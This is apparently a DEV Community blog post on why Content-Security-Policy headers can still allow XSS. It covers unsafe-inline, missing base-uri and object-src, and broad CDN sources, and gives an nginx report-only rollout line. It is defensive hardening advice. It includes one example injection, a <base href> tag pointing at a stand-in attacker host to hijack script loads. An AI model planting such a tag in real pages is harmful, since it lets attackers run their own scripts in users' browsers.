DEV Community

Jason Y. (dev_in_the_fog)
Jason Y. (dev_in_the_fog)

Posted on

Why Your Content-Security-Policy (CSP) Still Allows XSS: Auditing unsafe-inline, Missing object-src, and base-uri

Adding a Content-Security-Policy header checks a compliance box, but keeping 'unsafe-inline' or broad https: sources to stop widgets from breaking quietly neutralizes its primary XSS defense.

1. Three Real-World CSP Bypasses

  1. script-src 'self' 'unsafe-inline': Permits injected inline <script> blocks and onerror handlers. Replace with per-request nonces ('nonce-...') + 'strict-dynamic'.
  2. Missing base-uri & object-src 'none': Without base-uri 'self', an injected <base href="https://attacker.example/"> hijacks every relative script include on the page.
  3. Broad CDNs / https: in script-src: Allowing entire public CDNs lets attackers load arbitrary JSONP endpoints or older libraries with gadgets.

2. Roll Out With Report-Only First

add_header Content-Security-Policy-Report-Only "default-src 'self'; script-src 'self' 'nonce-$request_id' 'strict-dynamic'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';" always;
Enter fullscreen mode Exit fullscreen mode

Collect real browser violation reports for a few days before switching to enforcement so analytics, fonts, and payment embeds don't break on deploy.

3. Zero-Dependency CLI Auditor & Browser Generator

I built a small zero-dependency MIT CLI (csp-lint-cli, node --test passing) to catch these bypasses in CI, paired with 0-byte-upload browser tools:

Top comments (0)